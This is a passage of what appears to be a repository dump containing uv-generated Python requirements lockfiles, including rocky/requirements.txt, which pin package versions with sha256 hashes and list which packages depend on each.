--hash=sha256:ee1e4c0e59148062281c49d80b25b67771a127c85fc9676d3be5f243206826bf\n    # via djlint\ntyping-extensions==4.15.0 \\\n    --hash=sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466 \\\n    --hash=sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548\n    # via\n    #   anyio\n    #   asgiref\n    #   beautifulsoup4\n    #   cron-descriptor\n    #   djlint\n    #   exceptiongroup\n    #   grpcio\n    #   opentelemetry-api\n    #   opentelemetry-exporter-otlp-proto-grpc\n    #   opentelemetry-sdk\n    #   opentelemetry-semantic-conventions\n    #   pydantic\n    #   pydantic-core\n    #   referencing\n    #   structlog\n    #   typing-inspection\ntyping-inspection==0.4.2 \\\n    --hash=sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7 \\\n    --hash=sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464\n    # via\n    #   pydantic\n    #   pydantic-settings\ntzdata==2026.1 ; sys_platform == 'win32' \\\n    --hash=sha256:4b1d2be7ac37ceafd7327b961aa3a54e467efbdb563a23655fbfe0d39cfc42a9 \\\n    --hash=sha256:67658a1903c75917309e753fdc349ac0efd8c27db7a0cb406a25be4840f87f98\n    # via\n    #   django\n    #   faker\nurllib3==2.6.3 \\\n    --hash=sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed \\\n    --hash=sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4\n    # via requests\nwcwidth==0.6.0 \\\n    --hash=sha256:1a3a1e510b553315f8e146c54764f4fb6264ffad731b3d78088cdb1478ffbdad \\\n    --hash=sha256:cdc4e4262d6ef9a1a57e018384cbeb1208d8abbc64176027e2c2455c81313159\n    # via prompt-toolkit\nweasyprint==68.1 \\\n    --hash=sha256:4dc3ba63c68bbbce3e9617cb2226251c372f5ee90a8a484503b1c099da9cf5be \\\n    --hash=sha256:d3b752049b453a5c95edb27ce78d69e9319af5a34f257fa0f4c738c701b4184e\n    # via\n    #   django-weasyprint\n    #   rocky\nwebencodings==0.5.1 \\\n    --hash=sha256:a0af1213f3c2226497a97e2b3aa01a7e4bee4f403f95be16fc9acd2947514a78 \\\n    --hash=sha256:b36a1c245f2d304965eb4e0a82848379241dc04b865afcc4aab16748587e1923\n    # via\n    #   cssselect2\n    #   tinycss2\n    #   tinyhtml5\nwhitenoise==6.12.0 \\\n    --hash=sha256:f723ebb76a112e98816ff80fcea0a6c9b8ecde835f8ddda25df7a30a3c2db6ad \\\n    --hash=sha256:fc5e8c572e33ebf24795b47b6a7da8da3c00cff2349f5b04c02f28d0cc5a3cc2\n    # via rocky\nwrapt==1.17.3 \\\n    --hash=sha256:042ec3bb8f319c147b1301f2393bc19dba6e176b7da446853406d041c36c7828 \\\n    --hash=sha256:0610b46293c59a3adbae3dee552b648b984176f8562ee0dba099a56cfbe4df1f \\\n    --hash=sha256:0b02e424deef65c9f7326d8c19220a2c9040c51dc165cddb732f16198c168396 \\\n    --hash=sha256:0b1831115c97f0663cb77aa27d381237e73ad4f721391a9bfb2fe8bc25fa6e77 \\\n    --hash=sha256:0ed61b7c2d49cee3c027372df5809a59d60cf1b6c2f81ee980a091f3afed6a2d \\\n    --hash=sha256:16ecf15d6af39246fe33e507105d67e4b81d8f8d2c6598ff7e3ca1b8a37213f7 \\\n    --hash=sha256:1f0b2f40cf341ee8cc1a97d51ff50dddb9fcc73241b9143ec74b30fc4f44f6cb \\\n    --hash=sha256:223db574bb38637e8230eb14b185565023ab624474df94d2af18f1cdb625216f \\\n    --hash=sha256:249f88ed15503f6492a71f01442abddd73856a0032ae860de6d75ca62eed8067 \\\n    --hash=sha256:273a736c4645e63ac582c60a56b0acb529ef07f78e08dc6bfadf6a46b19c0da7 \\\n    --hash=sha256:281262213373b6d5e4bb4353bc36d1ba4084e6d6b5d242863721ef2bf2c2930b \\\n    --hash=sha256:33486899acd2d7d3066156b03465b949da3fd41a5da6e394ec49d271baefcf05 \\\n    --hash=sha256:343e44b2a8e60e06a7e0d29c1671a0d9951f59174f3709962b5143f60a2a98bd \\\n    --hash=sha256:373342dd05b1d07d752cecbec0c41817231f29f3a89aa8b8843f7b95992ed0c7 \\\n    --hash=sha256:3af60380ba0b7b5aeb329bc4e402acd25bd877e98b3727b0135cb5c2efdaefe9 \\\n    --hash=sha256:41b1d2bc74c2cac6f9074df52b2efbef2b30bdfe5f40cb78f8ca22963bc62977 \\\n    --hash=sha256:423ed5420ad5f5529db9ce89eac09c8a2f97da18eb1c870237e84c5a5c2d60aa \\\n    --hash=sha256:4da9f45279fff3543c371d5ababc57a0384f70be244de7759c85a7f989cb4ebe \\\n    --hash=sha256:507553480670cab08a800b9463bdb881b2edeed77dc677b0a5915e6106e91a58 \\\n    --hash=sha256:53e5e39ff71b3fc484df8a522c933ea2b7cdd0d5d15ae82e5b23fde87d44cbd8 \\\n    --hash=sha256:54a30837587c6ee3cd1a4d1c2ec5d24e77984d44e2f34547e2323ddb4e22eb77 \\\n    --hash=sha256:5531d911795e3f935a9c23eb1c8c03c211661a5060aab167065896bbf62a5f85 \\\n    --hash=sha256:5a03a38adec8066d5a37bea22f2ba6bbf39fcdefbe2d91419ab864c3fb515454 \\\n    --hash=sha256:5a7b3c1ee8265eb4c8f1b7d29943f195c00673f5ab60c192eba2d4a7eae5f46a \\\n    --hash=sha256:5d4478d72eb61c36e5b446e375bbc49ed002430d17cdec3cecb36993398e1a9e \\\n    --hash=sha256:5ea5eb3c0c071862997d6f3e02af1d055f381b1d25b286b9d6644b79db77657c \\\n    --hash=sha256:604d076c55e2fdd4c1c03d06dc1a31b95130010517b5019db15365ec4a405fc6 \\\n    --hash=sha256:6b538e31eca1a7ea4605e44f81a48aa24c4632a277431a6ed3f328835901f4fd \\\n    --hash=sha256:6fd1ad24dc235e4ab88cda009e19bf347aabb975e44fd5c2fb22a3f6e4141277 \\\n    --hash=sha256:7171ae35d2c33d326ac19dd8facb1e82e5fd04ef8c6c0e394d7af55a55051c22 \\\n    --hash=sha256:73d496de46cd2cdbdbcce4ae4bcdb4afb6a11234a1df9c085249d55166b95116 \\\n    --hash=sha256:7425ac3c54430f5fc5e7b6f41d41e704db073309acfc09305816bc6a0b26bb16 \\\n    --hash=sha256:74afa28374a3c3a11b3b5e5fca0ae03bef8450d6aa3ab3a1e2c30e3a75d023dc \\\n    --hash=sha256:79573c24a46ce11aab457b472efd8d125e5a51da2d1d24387666cd85f54c05b2 \\\n    --hash=sha256:88547535b787a6c9ce4086917b6e1d291aa8ed914fdd3a838b3539dc95c12804 \\\n    --hash=sha256:88bbae4d40d5a46142e70d58bf664a89b6b4befaea7b2ecc14e03cedb8e06c04 \\\n    --hash=sha256:8cccf4f81371f257440c88faed6b74f1053eef90807b77e31ca057b2db74edb1 \\\n    --hash=sha256:9baa544e6acc91130e926e8c802a17f3b16fbea0fd441b5a60f5cf2cc5c3deba \\\n    --hash=sha256:a36692b8491d30a8c75f1dfee65bef119d6f39ea84ee04d9f9311f83c5ad9390 \\\n    --hash=sha256:a47681378a0439215912ef542c45a783484d4dd82bac412b71e59cf9c0e1cea0 \\\n    --hash=sha256:ab232e7fdb44cdfbf55fc3afa31bcdb0d8980b9b95c38b6405df2acb672af0e0 \\\n    --hash=sha256:af338aa93554be859173c39c85243970dc6a289fa907402289eeae7543e1ae18 \\\n    --hash=sha256:afd964fd43b10c12213574db492cb8f73b2f0826c8df07a68288f8f19af2ebe6 \\\n    --hash=sha256:b32888aad8b6e68f83a8fdccbf3165f5469702a7544472bdf41f582970ed3311 \\\n    --hash=sha256:c31eebe420a9a5d2887b13000b043ff6ca27c452a9a22fa71f35f118e8d4bf89 \\\n    --hash=sha256:cf30f6e3c077c8e6a9a7809c94551203c8843e74ba0c960f4a98cd80d4665d39 \\\n    --hash=sha256:d40770d7c0fd5cbed9d84b2c3f2e156431a12c9a37dc6284060fb4bec0b7ffd4 \\\n    --hash=sha256:d8a210b158a34164de8bb68b0e7780041a903d7b00c87e906fb69928bf7890d5 \\\n    --hash=sha256:dc4a8d2b25efb6681ecacad42fca8859f88092d8732b170de6a5dddd80a1c8fa \\\n    --hash=sha256:e01375f275f010fcbf7f643b4279896d04e571889b8a5b3f848423d91bf07050 \\\n    --hash=sha256:e1a4120ae5705f673727d3253de3ed0e016f7cd78dc463db1b31e2463e1f3cf6 \\\n    --hash=sha256:e228514a06843cae89621384cfe3a80418f3c04aadf8a3b14e46a7be704e4235 \\\n    --hash=sha256:e405adefb53a435f01efa7ccdec012c016b5a1d3f35459990afc39b6be4d5056 \\\n    --hash=sha256:e6b13af258d6a9ad602d57d889f83b9d5543acd471eee12eb51f5b01f8eb1bc2 \\\n    --hash=sha256:e6f40a8aa5a92f150bdb3e1c44b7e98fb7113955b2e5394122fa5532fec4b418 \\\n    --hash=sha256:e71d5c6ebac14875668a1e90baf2ea0ef5b7ac7918355850c0908ae82bcb297c \\\n    --hash=sha256:ed7c635ae45cfbc1a7371f708727bf74690daedc49b4dba310590ca0bd28aa8a \\\n    --hash=sha256:f38e60678850c42461d4202739f9bf1e3a737c7ad283638251e79cc49effb6b6 \\\n    --hash=sha256:f66eb08feaa410fe4eebd17f2a2c8e2e46d3476e9f8c783daa8e09e0faa666d0 \\\n    --hash=sha256:f9b2601381be482f70e5d1051a5965c25fb3625455a2bf520b5a077b22afb775 \\\n    --hash=sha256:fbd3c8319de8e1dc79d346929cd71d523622da527cca14e0c1d257e31c2b8b10 \\\n    --hash=sha256:fd341868a4b6714a5962c1af0bd44f7c404ef78720c7de4892901e540417111c\n    # via\n    #   opentelemetry-instrumentation\n    #   opentelemetry-instrumentation-dbapi\n    #   opentelemetry-instrumentation-httpx\n    #   pytest-lambda\n    #   robotframework-browser\nzipp==3.23.1 \\\n    --hash=sha256:0b3596c50a5c700c9cb40ba8d86d9f2cc4807e9bedb06bcdf7fac85633e444dc \\\n    --hash=sha256:32120e378d32cd9714ad503c1d024619063ec28aad2248dc6672ad13edfa5110\n    # via importlib-metadata\nzopfli==0.4.1 \\\n    --hash=sha256:02086247dd12fda929f9bfe8b3962b6bcdbfc8c82e99255aebcf367867cf0760 \\\n    --hash=sha256:07a5cdc5d1aaa6c288c5d9f5a5383042ba743641abf8e2fd898dcad622d8a38e \\\n    --hash=sha256:27823dc1161a4031d1c25925fd45d9868ec0cbc7692341830a7dcfa25063662c \\\n    --hash=sha256:2f992ac7d83cbddd889e1813ace576cbc91a05d5d7a0a21b366e2e5f492e7707 \\\n    --hash=sha256:4238d4d746d1095e29c9125490985e0c12ffd3654f54a24af551e2391e936d54 \\\n    --hash=sha256:5a4c22b6161f47f5bd34637dbaee6735abd287cd64e0d1ce28ef1871bf625f4b \\\n    --hash=sha256:84a31ba9edc921b1d3a4449929394a993888f32d70de3a3617800c428a947b9b \\\n    --hash=sha256:a899eca405662a23ae75054affa3517a060362eae1185d3d791c86a50153c4dd \\\n    --hash=sha256:a93c2ecafff372de6c0aa2212eff18a75f6c71a100372fee7b4b129cc0b6f9a7 \\\n    --hash=sha256:cb136a74d14a4ecfae29cb0fdecece58a6c115abc9a74c12bc6ac62e80f229d7 \\\n    --hash=sha256:d7bcee1b189d64ec33d1e05cfa1b6a1268c29329c382f6ca1bd6245b04925c57 \\\n    --hash=sha256:fdfb7ce9f5de37a5b2f75dd2642fd7717956ef2a72e0387302a36d382440db07\n    # via fonttools\n"
  },
  {
    "path": "rocky/requirements.txt",
    "content": "# This file was autogenerated by uv via the following command:\n#    uv export --project ./rocky --no-default-groups --format requirements-txt -o ./rocky/requirements.txt\nannotated-types==0.7.0 \\\n    --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 \\\n    --hash=sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89\n    # via pydantic\nanyio==4.13.0 \\\n    --hash=sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708 \\\n    --hash=sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc\n    # via httpx\nasgiref==3.11.1 \\\n    --hash=sha256:5f184dc43b7e763efe848065441eac62229c9f7b0475f41f80e207a114eda4ce \\\n    --hash=sha256:e8667a091e69529631969fd45dc268fa79b99c92c5fcdda727757e52146ec133\n    # via\n    #   django\n    #   django-structlog\n    #   opentelemetry-instrumentation-asgi\nattrs==26.1.0 \\\n    --hash=sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309 \\\n    --hash=sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32\n    # via\n    #   jsonschema\n    #   referencing\n    #   rocky\nbeautifulsoup4==4.14.3 \\\n    --hash=sha256:0918bfe44902e6ad8d57732ba310582e98da931428d231a5ecb9e7c703a735bb \\\n    --hash=sha256:6292b1c5186d356bba669ef9f7f051757099565ad9ada5dd630bd9de5fa7fb86\n    # via rocky\nbrotli==1.2.0 \\\n    --hash=sha256:022426c9e99fd65d9475dce5c195526f04bb8be8907607e27e747893f6ee3e24 \\\n    --hash=sha256:072e7624b1fc4d601036ab3f4f27942ef772887e876beff0301d261210bca97f \\\n    --hash=sha256:0bbd5b5ccd157ae7913750476d48099aaf507a79841c0d04a9db4415b14842de \\\n    --hash=sha256:0cf8c3b8ba93d496b2fae778039e2f5ecc7cff99df84df337ca31d8f2252896c \\\n    --hash=sha256:15b33fe93cedc4caaff8a0bd1eb7e3dab1c61bb22a0bf5bdfdfd97cd7da79744 \\\n    --hash=sha256:1b1d6a4efedd53671c793be6dd760fcf2107da3a52331ad9ea429edf0902f27a \\\n    --hash=sha256:1b557b29782a643420e08d75aea889462a4a8796e9a6cf5621ab05a3f7da8ef2 \\\n    --hash=sha256:260d3692396e1895c5034f204f0db022c056f9e2ac841593a4cf9426e2a3faca \\\n    --hash=sha256:26e8d3ecb0ee458a9804f47f21b74845cc823fd1bb19f02272be70774f56e2a6 \\\n    --hash=sha256:2a7f1d03727130fc875448b65b127a9ec5d06d19d0148e7554384229706f9d1b \\\n    --hash=sha256:2e1ad3fda65ae0d93fec742a128d72e145c9c7a99ee2fcd667785d99eb25a7fe \\\n    --hash=sha256:3219bd9e69868e57183316ee19c84e03e8f8b5a1d1f2667e1aa8c2f91cb061ac \\\n    --hash=sha256:350c8348f0e76fff0a0fd6c26755d2653863279d086d3aa2c290a6a7251135dd \\\n    --hash=sha256:35d382625778834a7f3061b15423919aa03e4f5da34ac8e02c074e4b75ab4f84 \\\n    --hash=sha256:3b90b767916ac44e93a8e28ce6adf8d551e43affb512f2377c732d486ac6514e \\\n    --hash=sha256:3e1b35d56856f3ed326b140d3c6d9db91740f22e14b06e840fe4bb1923439a18 \\\n    --hash=sha256:3f3c908bcc404c90c77d5a073e55271a0a498f4e0756e48127c35d91cf155947 \\\n    --hash=sha256:40d918bce2b427a0c4ba189df7a006ac0c7277c180aee4617d99e9ccaaf59e6a \\\n    --hash=sha256:4ecdb3b6dc36e6d6e14d3a1bdc6c1057c8cbf80db04031d566eb6080ce283a48 \\\n    --hash=sha256:54a50a9dad16b32136b2241ddea9e4df159b41247b2ce6aac0b3276a66a8f1e5 \\\n    --hash=sha256:67a91c5187e1eec76a61625c77a6c8c785650f5b576ca732bd33ef58b0dff49c \\\n    --hash=sha256:6be67c19e0b0c56365c6a76e393b932fb0e78b3b56b711d180dd7013cb1fd984 \\\n    --hash=sha256:6c12dad5cd04530323e723787ff762bac749a7b256a5bece32b2243dd5c27b21 \\\n    --hash=sha256:7547369c4392b47d30a3467fe8c3330b4f2e0f7730e45e3103d7d636678a808b \\\n    --hash=sha256:7a47ce5c2288702e09dc22a44d0ee6152f2c7eda97b3c8482d826a1f3cfc7da7 \\\n    --hash=sha256:7a61c06b334bd99bc5ae84f1eeb36bfe01400264b3c352f968c6e30a10f9d08b \\\n    --hash=sha256:81da1b229b1889f25adadc929aeb9dbc4e922bd18561b65b08dd9343cfccca84 \\\n    --hash=sha256:832c115a020e463c2f67664560449a7bea26b0c1fdd690352addad6d0a08714d \\\n    --hash=sha256:844a8ceb8483fefafc412f85c14f2aae2fb69567bf2a0de53cdb88b73e7c43ae \\\n    --hash=sha256:898be2be399c221d2671d29eed26b6b2713a02c2119168ed914e7d00ceadb56f \\\n    --hash=sha256:9322b9f8656782414b37e6af884146869d46ab85158201d82bab9abbcb971dc7 \\\n    --hash=sha256:963a08f3bebd8b75ac57661045402da15991468a621f014be54e50f53a58d19e \\\n    --hash=sha256:9c79f57faa25d97900bfb119480806d783fba83cd09ee0b33c17623935b05fa3 \\\n    --hash=sha256:9e5825ba2c9998375530504578fd4d5d1059d09621a02065d1b6bfc41a8e05ab \\\n    --hash=sha256:a1778532b978d2536e79c05dac2d8cd857f6c55cd0c95ace5b03740824e0e2f1 \\\n    --hash=sha256:aa47441fa3026543513139cb8926a92a8e305ee9c71a6209ef7a97d91640ea03 \\\n    --hash=sha256:acec55bb7c90f1dfc476126f9711a8e81c9af7fb617409a9ee2953115343f08d \\\n    --hash=sha256:adedc4a67e15327dfdd04884873c6d5a01d3e3b6f61406f99b1ed4865a2f6d28 \\\n    --hash=sha256:af43b8711a8264bb4e7d6d9a6d004c3a2019c04c01127a868709ec29962b6036 \\\n    --hash=sha256:b232029d100d393ae3c603c8ffd7e3fe6f798c5e28ddca5feabb8e8fdb732997 \\\n    --hash=sha256:b35c13ce241abdd44cb8ca70683f20c0c079728a36a996297adb5334adfc1c44 \\\n    --hash=sha256:b63daa43d82f0cdabf98dee215b375b4058cce72871fd07934f179885aad16e8 \\\n    --hash=sha256:c8565e3cdc1808b1a34714b553b262c5de5fbda202285782173ec137fd13709f \\\n    --hash=sha256:cf9cba6f5b78a2071ec6fb1e7bd39acf35071d90a81231d67e92d637776a6a63 \\\n    --hash=sha256:d2d085ded05278d1c7f65560aae97b3160aeb2ea2c0b3e26204856beccb60888 \\\n    --hash=sha256:e310f77e41941c13340a95976fe66a8a95b01e783d430eeaf7a2f87e0a57dd0a \\\n    --hash=sha256:e7c0af964e0b4e3412a0ebf341ea26ec767fa0b4cf81abb5e897c9338b5ad6a3 \\\n    --hash=sha256:e99befa0b48f3cd293dafeacdd0d191804d105d279e0b387a32054c1180f3161 \\\n    --hash=sha256:ef87b8ab2704da227e83a246356a2b179ef826f550f794b2c52cddb4efbd0196 \\\n    --hash=sha256:fc1530af5c3c275b8524f2e24841cbe2599d74462455e9bae5109e9ff42e9361 \\\n    --hash=sha256:ff09cd8c5eec3b9d02d2408db41be150d8891c5566addce57513bf546e3d6c6d\n    # via\n    #   fonttools\n    #   whitenoise\nbrotlicffi==1.2.0.1 \\\n    --hash=sha256:2c85e65913cf2b79c57a3fdd05b98d9731d9255dc0cb696b09376cc091b9cddd \\\n    --hash=sha256:37cb587d32bf7168e2218c455e22e409ad1f3157c6c71945879a311f3e6b6abf \\\n    --hash=sha256:3c9544f83cb715d95d7eab3af4adbbef8b2093ad6382288a83b3a25feb1a57ec \\\n    --hash=sha256:535f2d05d0273408abc13fc0eebb467afac17b0ad85090c8913690d40207dac5 \\\n    --hash=sha256:625f8115d32ae9c0740d01ea51518437c3fbaa3e78d41cb18459f6f7ac326000 \\\n    --hash=sha256:6f3314a3476f59e5443f9f72a6dff16edc0c3463c9b318feaef04ae3e4683f5a \\\n    --hash=sha256:82ea52e2b5d3145b6c406ebd3efb0d55db718b7ad996bd70c62cec0439de1187 \\\n    --hash=sha256:91ba5f0ccc040f6ff8f7efaf839f797723d03ed46acb8ae9408f99ffd2572cf4 \\\n    --hash=sha256:9d6ba65dd528892b4d9960beba2ae011a753620bcfc66cf6fa3cee18d7b0baa4 \\\n    --hash=sha256:be9a670c6811af30a4bd42d7116dc5895d3b41beaa8ed8a89050447a0181f5ce \\\n    --hash=sha256:c20d5c596278307ad06414a6d95a892377ea274a5c6b790c2548c009385d621c \\\n    --hash=sha256:ce17eb798ca59ecec67a9bb3fd7a4304e120d1cd02953ce522d959b9a84d58ac \\\n    --hash=sha256:da2e82a08e7778b8bc539d27ca03cdd684113e81394bfaaad8d0dfc6a17ddede \\\n    --hash=sha256:e015af99584c6db1490a69a210c765953e473e63adc2d891ac3062a737c9e851 \\\n    --hash=sha256:f2a5575653b0672638ba039b82fda56854934d7a6a24d4b8b5033f73ab43cbc1\n    # via\n    #   fonttools\n    #   rocky\ncertifi==2026.2.25 \\\n    --hash=sha256:027692e4402ad994f1c42e52a4997a9763c646b73e4096e4d5d6db8af1d6f0fa \\\n    --hash=sha256:e887ab5cee78ea814d3472169153c2d12cd43b14bd03329a39a9c6e2e80bfba7\n    # via\n    #   httpcore\n    #   httpx\n    #   requests\ncffi==2.0.0 \\\n    --hash=sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb \\\n    --hash=sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b \\\n    --hash=sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f \\\n    --hash=sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9 \\\n    --hash=sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44 \\\n    --hash=sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c \\\n    --hash=sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75 \\\n    --hash=sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e \\\n    --hash=sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a \\\n    --hash=sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e \\\n    --hash=sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25 \\\n    --hash=sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe \\\n    --hash=sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b \\\n    --hash=sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91 \\\n    --hash=sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592 \\\n    --hash=sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187 \\\n    --hash=sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c \\\n    --hash=sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1 \\\n    --hash=sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94 \\\n    --hash=sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba \\\n    --hash=sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb \\\n    --hash=sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529 \\\n    --hash=sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca \\\n    --hash=sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6 \\\n    --hash=sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c \\\n    --hash=sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0 \\\n    --hash=sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743 \\\n    --hash=sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5 \\\n    --hash=sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5 \\\n    --hash=sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4 \\\n    --hash=sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d \\\n    --hash=sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b \\\n    --hash=sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93 \\\n    --hash=sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205 \\\n    --hash=sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27 \\\n    --hash=sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512 \\\n    --hash=sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d \\\n    --hash=sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c \\\n    --hash=sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037 \\\n    --hash=sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26 \\\n    --hash=sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb \\\n    --hash=sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c \\\n    --hash=sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8 \\\n    --hash=sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4 \\\n    --hash=sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414 \\\n    --hash=sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9 \\\n    --hash=sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664 \\\n    --hash=sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9 \\\n    --hash=sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775 \\\n    --hash=sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739 \\\n    --hash=sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc \\\n    --hash=sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062 \\\n    --hash=sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe \\\n    --hash=sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92 \\\n    --hash=sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5 \\\n    --hash=sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13 \\\n    --hash=sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d \\\n    --hash=sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26 \\\n    --hash=sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495 \\\n    --hash=sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b \\\n    --hash=sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6 \\\n    --hash=sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c \\\n    --hash=sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef \\\n    --hash=sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5 \\\n    --hash=sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18 \\\n    --hash=sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad \\\n    --hash=sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3 \\\n    --hash=sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5 \\\n    --hash=sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49 \\\n    --hash=sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2 \\\n    --hash=sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5 \\\n    --hash=sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453\n    # via\n    #   brotlicffi\n    #   weasyprint\ncharset-normalizer==3.4.7 \\\n    --hash=sha256:007d05ec7321d12a40227aae9e2bc6dca73f3cb21058999a1df9e193555a9dcc \\\n    --hash=sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c \\\n    --hash=sha256:08e721811161356f97b4059a9ba7bafb23ea5ee2255402c42881c214e173c6b4 \\\n    --hash=sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0 \\\n    --hash=sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c \\\n    --hash=sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4ba96f27b76084cd679f5 \\\n    --hash=sha256:12d8baf840cc7889b37c7c770f478adea7adce3dcb3944d02ec87508e2dcf153 \\\n    --hash=sha256:1a87ca9d5df6fe460483d9a5bbf2b18f620cbed41b432e2bddb686228282d10b \\\n    --hash=sha256:1c2a768fdd44ee4a9339a9b0b130049139b8ce3c01d2ce09f67f5a68048d477c \\\n    